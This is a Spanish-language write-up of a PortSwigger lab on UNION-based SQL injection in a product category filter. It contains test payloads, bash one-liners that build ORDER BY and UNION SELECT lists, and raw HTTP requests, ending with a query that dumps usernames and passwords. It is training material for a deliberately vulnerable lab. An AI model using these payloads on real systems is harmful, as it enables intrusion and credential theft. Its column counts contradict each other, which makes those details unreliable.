Lab: SQL injection UNION attack, retrieving data from other tables
Ataque de inyección SQL mediante UNION, extrayendo datos de otras tablas.
Información del laboratorio
https://portswigger.net/web-security/sql-injection/union-attacks/lab-retrieve-data-from-other-tables
En este laboratorio hay una vulnerabilidad de inyección SQL en el filtro de la categoría del producto.
Esta vulnerabilidad es similar a las de los laboratorios:
Flujo de explotación
Identificación del parámetro vulnerable
Para verificar que es vulnerable, se usan payloads con el operador lógico AND, por ejemplo: 'and'1337'='1337
y 'and'1337'='1338
.
Como se puede observar, al enviar el payload 'and'1337'='1337, la condición se cumple, y por lo tanto, se obtienen los mismos datos que sin haber modificado la consulta:
GET /filter?category=Pets'and'1337'='1337 HTTP/2
Host: 0a10009104047ab8805d535300bf009f.web-security-academy.net
Cookie: session=atfLz50C4MZBqIcGa0rBRtUh4dMO1ppk
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Referer: https://0a10009104047ab8805d535300bf009f.web-security-academy.net/filter?category=Pets

En cambio al inyectar el payload 'and'1337'='1338
, la condición no se cumple, y por lo tanto, no se obtiene información:
GET /filter?category=Pets'and'1337'='1338 HTTP/2
Host: 0a10009104047ab8805d535300bf009f.web-security-academy.net
Cookie: session=atfLz50C4MZBqIcGa0rBRtUh4dMO1ppk
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Referer: https://0a10009104047ab8805d535300bf009f.web-security-academy.net/filter?category=Pets

Obtener el número de columnas de la tabla
Para poder extraer información de la base de datos, antes hay que conocer el número de columnas y luego será necesario insertar los datos de salida coincidentes con el tipo de dato de su columna respectiva.
Se puede realizar de forma manual enviando el payload hasta obtener un error o se puede automatizar con intruder:
Añadir el punto de inserción del payload en la petición:

Generar la lista de payloads e pegarla en intruder:
for i in {1..20}; do echo "' ORDER BY "$i"--"; done

Ejecutar el ataque y analizar la respuesta. Como se puede observar, a partir de la columna 4 genera un error en la base de datos, por lo tanto, el número de columnas de la tabla será 2.

Obtener las columnas que pueden contener texto
Para ello, se tendría que generar la lista de payloads de acuerdo al número de columnas (3) obtenido en el laboratorio anterior Cómo identificar las columnas que permiten insertar texto en una inyección SQL UNION.
Con este script de bash oneliner se puede obtener la lista de payloads en base al número de columnas (cols) que tiene la tabla de la consulta SQL manipulada:
cols=2; for i in $(seq 1 $cols); do echo "' UNION SELECT $(for j in $(seq 1 $cols); do [ $j -eq $i ] && echo -n "'a'" || echo -n "NULL"; [ $j -lt $cols ] && echo -n ","; done)--"; done
Esta lista, se inserta en intruder, de la misma forma que en el laboratorio anterior.
Al ejecutar el ataque, se puede observar cómo los campos que permiten la inserción de texto, responden con el código 200 y también se observa una diferencia en el tamaño de la respuesta:

Esto quiere decir, que la columna 1 y 2 permiten insertar texto.
Esto se puede observar también desde la aplicación, observando la cadena inyectada unida al resto de información de la tabla:

Sabiendo previamente que existen las columnas username y password en la tabla users:
'+UNION+SELECT+username,password+FROM+users--
GET /filter?category=Pets'+UNION+SELECT+username,password+FROM+users-- HTTP/2
Host: 0ad60060030431af84258b3200520086.web-security-academy.net
Cookie: session=NuTYIdPa9yJhzMnIf7wqobC800f5pqmM
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Referer: https://0ad60060030431af84258b3200520086.web-security-academy.net/filter?category=Pets
En la salida se obtienen los usuarios y sus contraseñas:


Última actualización
¿Te fue útil?